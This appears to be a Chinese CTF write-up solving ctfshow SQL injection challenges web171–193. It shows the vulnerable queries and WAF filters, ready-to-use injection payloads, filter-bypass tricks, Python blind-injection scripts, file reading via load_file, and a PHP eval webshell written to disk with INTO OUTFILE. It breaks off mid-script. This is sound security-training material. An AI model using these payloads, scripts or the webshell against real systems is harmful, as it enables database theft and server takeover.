200字
ctfshow-web-sql注入
2025-07-10
2025-11-09

前言

在这个专题的刷题过程中,主要参考了ctfshow题目所带的wp以及以下师傅的wp,以下是他们的link

b477eRy师傅:CTFSHOW WEB入门 SQL注入篇 - b477eRy - 博客园

My6n师傅:https://myon6.blog.csdn.net

web171

查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

没有过滤,永真条件把数据库拿出来

Payload:

1' OR '1' = '1

web172

查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

无过滤,但限制username!='flag',直接查不可行,要用联合注入

1' order by 2 --+  #有回显
1' order by 3 --+ #无数据

用户名处为“1”,密码处为“2”

-1' union select 1,2--+

Payload:

库名
-1' union select 1,(select database()) --+ 
# ctfshow_web表名
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') --+
# ctfshow_user,ctfshow_user2字段
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2') --+
# id,username,passwordflag
-1' union select 1,(select group_concat(password) from ctfshow_user2)--+
# 在最后一个

web173

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

返回逻辑里新增:返回内容的username不包含flag才会返回查询成功,直接查所有字段自然没问题,不会被过滤

查回显位、库、表、字段不再赘述,此处多了一个回显位和表

Payload:

直接查password
-1' union select 1,(select group_concat(password) from ctfshow_user3),3--+
用户名不出现flag(用hex编码一下)
1' union select id,hex(username),password from ctfshow_user3 --+
替换flag(替换f为g)
-1' union select id,replace(username,'f','g'),password from ctfshow_user3 where username = 'flag

web174

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

增加了新的正则,返回结果内不能有数字和flag,上面hex编码的方法失效,因为hex会出现数字

这里不想用题目给的输入框了,发现直接传参id无效,审计js发现查询接口应该是api/v4.php

在这个接口传id,方便我们抓包测试,这里考虑盲注,先去试有没有不同回显

/api/v4.php?id=1'%20and%201=1%20--+回显:
{
  "code": 0,
  "msg": "\u67e5\u8be2\u6210\u529f",
  "count": 1,
  "data": [{ "username": "admin", "password": "admin" }]
}

/api/v4.php?id=1'%20and%201=2%20--+回显:
{ "code": 0, "msg": "\u67e5\u8be2\u5931\u8d25", "count": 1, "data": [] }

于是找到了真假条件的不同回显,and后替换盲注语句就可以根据回显判断真假了

1' and 1=1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),3,1))>100,1,0) --+
#条件为真 有数据 返回了admin admin
1' and 1=1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),3,1))<100,1,0) --+
#条件为假 无数据 无回显

附上脚本:

原文链接:https://blog.csdn.net/solitudi/article/details/110144623

# @Author:Y4tacker
import requests

url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
        r = requests.get(url + payload)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)                    

另解:

replace函数替换数字

REPLACE() :将字符串中所有出现的子字符串替换为新的子字符串。

注意:此函数执行区分大小写的替换。

语法:

REPLACE(string, substring, new_string)

参数

描述

string

必需。原字符串

substring

必需。被替换的子串

new_string

必需。新的替换子串

Payload:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

得到的字符串再用脚本还原:

def rev_replace(txt):
    repl = {
        'A': '1',
        'B': '2',
        'C': '3',
        'D': '4',
        'E': '5',
        'F': '6',
        'G': '7',
        'H': '8',
        'I': '9',
        'J': '0'
    }
 
    for k, v in repl.items():
        txt = txt.replace(k, v)
    return txt
txt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)

web175

查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";    
返回逻辑
//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

正则过滤了所有ascii字符

这一篇讲了时间盲注的方法:https://blog.csdn.net/Myon5/article/details/140819830

import requests
import string
 
url = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'
out = ''
for j in range(1, 100):
    a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位
    for k in dic:
        # payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10" # 猜数据库名
        # payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
        # payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
        # payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"  # 猜列名
        payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"  # 猜具体字段
        # print(payload)
        re = requests.get(url, params=payload)
        time = re.elapsed.total_seconds()
        # print(f"{j}:{time}")
        if time > 2:
            print(k)
            a = 0 #如果找到字符,则将标志位置0
            out += k
            break #跳出内层的for循环,继续遍历下一位
    if a == 1: #在进行下一次循环前,先判断当前字符是否找到
        break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

这里into outfile外带查询的数据出来

-1' union select  username,password from ctfshow_user5 into outfile "/var/www/html/a.txt"--+

into outfile也能用来写马

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/sh.php' --+

连接不上可以选择勾选“忽略HTTPS证书”

这里要读数据库,需要用到蚁剑的“数据操作”功能

至于账号密码怎么来的,我们连上🐎之后能进api的文件夹了,里面有config.php

后面就是测库连库查flag了

web176

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
     
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

永真条件就判断所有都是对的了

Payload:

-1' or 1=1 %23

另解:

手测发现三个回显位,执行联合查询查不了,测试发现ban了select大写过滤就行Select

Payload:

 ?id=1' union Select 1,(Select group_concat(schema_name) from information_schema.schemata),database() --+
 
?id=-1' union Select 1,(Select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),3 --+

?id=-1' union Select 1,(Select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),3 --+

?id=-1' union Select 1,(Select group_concat(password) from ctfshow_web.ctfshow_user),3--+

web177

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

永真条件也能注出来,这里过滤了空格,用/**/代替

这里的注释符"--+"最后的加号指代的是空格,但是这里ban了空格,用%23代替--+

?id=1'/**/order/**/by/**/3%23 
 
?id=-1'/**/union/**/select/**/1,(select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),database()%23

?id=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'),3%23

?id=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctfshow_web'/**/and/**/table_name='ctfshow_user'),3%23

?id=-1'/**/union/**/select/**/1,(select/**/group_concat(password)/**/from/**/ctfshow_web.ctfshow_user),3%23

web178

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

仍然是过滤空格,但是上一题的/**/代替空格不可行了,用%09(水平制表符Tab),或者%0b(垂直制表符,换行)

Payload:

?id=1'%09order%09by%093%23

?id=-1'%09union%09select%091,(select%09group_concat(schema_name)%09from%09information_schema.schemata),database()%23

?id=-1'%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'),3%23

?id=-1'%09union%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='ctfshow_web'%09and%09table_name='ctfshow_user'),3%23

?id=-1'%09union%09select%091,(select%09group_concat(password)%09from%09ctfshow_web.ctfshow_user),3%23

web179

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

依然过滤空格,换成%0c(换页符)即可

payload:

?id=1'%0corder%0cby%0c3%23

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(schema_name)%0cfrom%0cinformation_schema.schemata),database()%23

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'),3%23

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'),3%23

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(password)%0cfrom%0cctfshow_web.ctfshow_user),3%23

web180

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

过滤空格的绕过方法同上题,但是此处过滤了#%23(#),换成另一种注释方法--+,但由于+其实替代的是空格,这里+绕不过,于是换成--%0c

Payload:

?id=1'%0corder%0cby%0c3--%0c

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(schema_name)%0cfrom%0cinformation_schema.schemata),database()--%0c

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'),3--%0c

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'),3--%0c

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(password)%0cfrom%0cctfshow_web.ctfshow_user),3--%0c

web181

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

Payload:

999'or`username`='flag

规避匹配原则:对于preg_match返回值结果定义为0,1,即(未匹配,匹配)

web182

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

这里给出了waf的名单,没有空格和select可用了,flag也被ban了,要考虑对查询语句动手了

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

利用逻辑运算的优先级构造 and 语句,绕过查询语句前面的 username != flag

Payload:

0'or(id=26)and'1
->
select id,username,password from ctfshow_user where username !='flag' and id = '0'or(id=26)and'1' limit 1;
-- 前面id=0不匹配,则会匹配id=26,and'1'恒真,无影响
-- limit 1只返回一条数据
最后变成这样并执行->
SELECT id, username, password FROM ctfshow_user WHERE username != 'flag' AND id = 26 LIMIT 1;

另解:

参考文章:https://blog.csdn.net/Myon5/article/details/140901940

万能密码:1'||1--%0c,用管道符连接恒真条件(%0c可以换成%01~%08任意一个)

直接查询:0'||%0cusername%0clike'f%,管道符连接查询语句,like相当于=%是通配符,相当于*,此外_也是通配符,相当于?

web183

查询语句
//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }   
查询结果
//返回用户表的记录总数
      $user_count = 0;

Post给一个名字进去,他会返回记录的总数,过滤了空格,用括号代替

如:

tableName=ctfshow_user
->
$user_count = 22;
tableName=(ctfshow_user)where(pass)like'ctfshow{%'
->
select count(pass) from (ctfshow_user)where(pass)like'ctfshow{%'
-- 会回显     $user_count = 1
-- 这里我的hackbar会传不动post数据,问题在%处,不明原因
如果我们匹配一个不存在的字段
tableName=(ctfshow_user)where(pass)like'ctfshow{1'
->
--回显:     $user_count = 0;

这里就能发现规律了,存在即为1,不存在即为0,就可以进行布尔盲注了

import requests
import string
url = 'http://e47ac12c-7838-4368-b1a2-3e4ef28ba073.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}'  # flag可能的字符:数字字母-{}
# print(dic)
out = 'ctfshow{'  # 已经确定的部分:flag头
for j in range(0, 50):  # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
    for k in dic:
        payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"}  # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
        # print(payload)
        re = requests.post(url, data=payload)
        # print(re.text)
        if '$user_count = 1;' in re.text:
            print(k)
            out += k
            break  # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
    print(out)

web184

查询语句
//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }
查询结果
//返回用户表的记录总数
      $user_count = 0;

过滤掉了where,用having代替,把空格放出来了,引号被过滤了

having 是从前筛选的字段再筛选,而 where 是从数据表中的字段直接进行的筛选的。

已经筛选出字段的话,having和where等效。

如果没有select出字段的话,having会报错

为了让 HAVING 能够生效,必须配合 GROUP BY 使用,用十六进制代替引号(需要加上0x)代表十六进制的前缀

把引号去掉直接十六进制内容

tableName= ctfshow_user GROUP BY pass HAVING pass LIKE 0x63746673686f777b25

对上面脚本进行修改:

import requests
import string

url = 'http://3dabb856-2ef4-4797-8ef5-5df6faace1fd.challenge.ctf.show/select-waf.php'

# 将原始字符转换为对应的十六进制值
dic = [hex(ord(c))[2:] for c in (string.digits + string.ascii_lowercase + '-{}')]

out = '0x63746673686f777b'  # 已经确定的部分:flag头

for j in range(0, 50):  # 为了确保flag完整输出,范围尽量大一点
    for k in dic:
        payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"}
        re = requests.post(url, data=payload)
        if '$user_count = 1;' in re.text:
            print(k)
            out += k
            break
    print(out)  # 最后自己解一下十六进制即为答案

另解:right/left/inner join代替where

参考文章:https://www.cnblogs.com/recharging-runtime/p/15077477.html


import string
import requests
url = "http://89463a4c-73a0-4eb7-bc52-ed12c47bf60b.challenge.ctf.show:8080/select-waf.php"payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"true_flag = "$user_count = 43;"def make_payload(has: str) -> str:
    return payload.format((has).encode().hex())
def valid_payload(p: str) -> bool:
    data = {
        "tableName": p
    }
    response = requests.post(url, data=data)
    return true_flag in response.text
flag = "ctf" # 这里注意表中用 regexp('ctf') 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配while True:
    for c in "{}-" + string.digits + string.ascii_lowercase:
        pd = flag+c
        print(f"\r[*] trying {pd}", end="")
        if valid_payload(make_payload(pd)):
            flag += c
            print(f"\r[*] flag: {flag}")
            break    if flag[-1] == "}":
        break

web185

查询语句
//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }     
查询结果
//返回用户表的记录总数
      $user_count = 0;

数字被ban了,但是用concat结合true可以拼出数字。逗号分隔每一位

附盲注布尔值

expression

number

FALSE

0

TRUE

1

true+true

2

floor(pi())

3

ceil(pi())

4

floor(pi())+true

5

floor(pi())+floor(pi())

6

floor(pi())+ceil(pi())

7

ceil(pi())+ceil(pi())

8

floor(pi())*floor(pi())

9

floor(pi())*floor(pi())+true

10

附上羽师傅的脚本:

# author: yu22x
import requests  
import string    

# 注入目标 URL
url = "http://8319afbf-281c-4a73-b14e-a29426d0e556.challenge.ctf.show/select-waf.php"

# flag 可能包含的字符集合:十六进制字符 + 特殊符号 -, {, }
s = '0123456789abcdef-{}'

def convert(strs):
 # 将字符串转换为 SQL 中由 TRUE 运算构成的 CHAR 表达式。
   
    t = 'concat('  # 使用 concat 拼接多个 char 字符
    for s_char in strs:
        # 构造 char(TRUE + TRUE + ...),次数等于字符的 ASCII 码值
        t += 'char(true' + '+true' * (ord(s_char) - 1) + '),'
    return t[:-1] + ")"  # 去掉最后一个逗号并闭合 concat


flag = ''  # 存储已猜解出的 flag

# 循环猜测 flag 的每一位(最多猜测 45 位)
for i in range(1, 45):
    print(i)  # 输出当前猜测第几位
    for j in s:  # 遍历可能字符尝试匹配
        # 构造正则表达式 ^ctfshow{已猜出的部分 + 当前猜测字符}
        d = convert(f'^ctfshow{flag + j}')
        
        # 构造 POST 请求参数
        data = {
            'tableName': f' ctfshow_user group by pass having pass regexp({d})'
        }

        # 发送请求
        r = requests.post(url, data=data)

        # 如果响应中出现 user_count = 1,说明匹配成功
        if "user_count = 1" in r.text:
            flag += j  # 添加当前字符到 flag
            print(flag)  # 输出当前 flag

            # 如果遇到结束符 },认为 flag 已获取完整,退出程序
            if j == '}':
                exit(0)
            break  # 匹配成功,跳出内层循环,继续下一位猜测

web186

查询语句
//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }      
查询结果
//返回用户表的记录总数
      $user_count = 0;

新增过滤了一些符号,但是上一题脚本仍然可用

另解:可以用 regexp 正则表达式来进行匹配

用法:regexp(^c),第一个字符是“c”

比较麻烦,具体步骤见:https://blog.csdn.net/Myon5/article/details/140936579

web187

查询语句
//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";     
返回逻辑
    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }

查看源码得知username和passwd的接收方式

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

md5加密也有一个奇妙的字符串:ffifdyop

这个字符串被md5加密后会变成:276f722736c95d99e921722cf9ed621c

加密后的字符串被hex解码后会变成:'or'6É]™é!r,ùíb

去掉乱码,真正传入的只剩下:'or'6,原理就是永真条件

登录后能看到api/返回了flag

web188

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";
      
返回逻辑
  //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

username判断:在sql查询中,当列的类型为 string 时,在查询限制条件中使用数字会将字符串转为数字进行比较,非数字开头的字符串会被转化为数字 0

password判断:这里是弱比较,如果弱比较的一边的第一位是字母,它的值就会被强制转换为数字“0”。是数字开头则以到非数字前的数字作为其值。

Payload:

username=0
password=0
# 尝试登录一个账号密码开头均为字母的账号

仍然在api/返回数据中找到flag

web189

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";   
返回逻辑
  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

flag在api/index.php文件中

过滤比较多,联合注入和时间盲注都不可用了

尝试爱上一题打法

username=0
password=0
->密码错误
username=1
password=0
->查询失败

也就是username查询的内容存在才会爆密码错误,不存在则会爆查询失败,符合布尔盲注的前提

这里password限制了只能数字,所以这里用username来注

羽师傅的脚本:

#author:yu22x
import requests
import string
url="http://566df5e6-33d0-415f-99e8-3b28a149e67f.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,1000):
    print(i)
    for j in range(32,128):
        #print(chr(j))
        data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
        #print(data)
        r=requests.post(url,data=data)
        #print(r.text)
        if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
            flag+=chr(j)  
            print(flag)
            break

web190

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";      
返回逻辑
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
  //TODO:感觉少了个啥,奇怪

比上一题少给出了username的判断逻辑,同样的,在username不同的情况下出现了两种回显,符合布尔盲注的前提

import requests
import string

url = "http://55420a88-20cf-4283-a564-9ac21e281125.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
    print(j)
    for k in range(32, 128):

        data = {
            #'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#", #数据库名
            #'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",#表名
            #'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",#列名
            'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",#字段
            'password': '1'
        }

        re = requests.post(url, data=data)
        if ("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += chr(k)
            print(out)
            break

web191

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";      
返回逻辑
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

ban掉了ascii盲注,可以用ord代替

ord:将字符转换为其对应的 ASCII 码值。

import requests
import string

url = "http://6304ee7e-76c4-426e-ae85-924e412830b9.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
    print(j)
    for k in range(32, 128):
        # 猜解数据库名
        data = {
        #     'username': f"0'||if(ord(substr(database(),{j},1))={k},1,0)#",
        #     'username': f"0'||if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
        #     'username': f"0'||if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
              'username': f"0'||if(ord(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
              'password': '1'
        }

        re = requests.post(url, data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in re.text:
            out += chr(k)
            print(out)
            break

另解:

不用 ascii 也可以直接用大于号比较字母的 ascii 大小

# 用了二分法 dejavu~~~
import requests

url = "http://6304ee7e-76c4-426e-ae85-924e412830b9.challenge.ctf.show/api/index.php"
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef" # “密码错误” 标识符
result = ""
index = 1
while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload.format(index, chr(p)),
            "password": 0
        }
        response = None
        while True:
            try:
                response = requests.post(url, data=data)
            except:
                continue
            break
        if true_flag in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

web192

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";     
返回逻辑
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

ord也被ban了,用web191那个另解的二分法脚本能跑出来

也可以直接爆字符

import requests
 
url = "http://c7b89989-5634-40e7-8c57-57e0ed663dee.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz'
for j in range(1, 50):
    print(j)
    for k in dic:
        data = {
            'username': f"0'||if(substr((select f1ag from ctfshow_fl0g),{j},1)='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

web193

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";      
返回逻辑
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

substr被ban了,它的作用主要是从字符串中截取出字符,找一个可代替函数。

mid是与substr用法相似的函数,它的作用与substr相似,改一改前面的脚本就行

MID(str, start, length)

从指定位置开始截取指定长度字符(不支持负数索引)。

SELECT MID('Hello World', 7, 5); -- 输出 'World'

import requests

url = "http://7b01f424-808c-4957-9c17-b8612f0163ef.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:
        # 查数据库名
        # data = {
        #     'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查表名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查列名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查具体字段
        data = {
            'username': f"0'||if((mid((select f1ag from ctfshow_flxg),{j},1))='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if ("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

另解:leftright函数也能替代substr的功能,只不过输出方式有些不一样

替换上面脚本对应部分(主要注意left和right输出方向是相反的,因此输出部分需要改一改):

# left
        data = {
            'username': f"0'||if((left((select f1ag from ctfshow_flxg),{j}))='{out+k}',1,0)#",
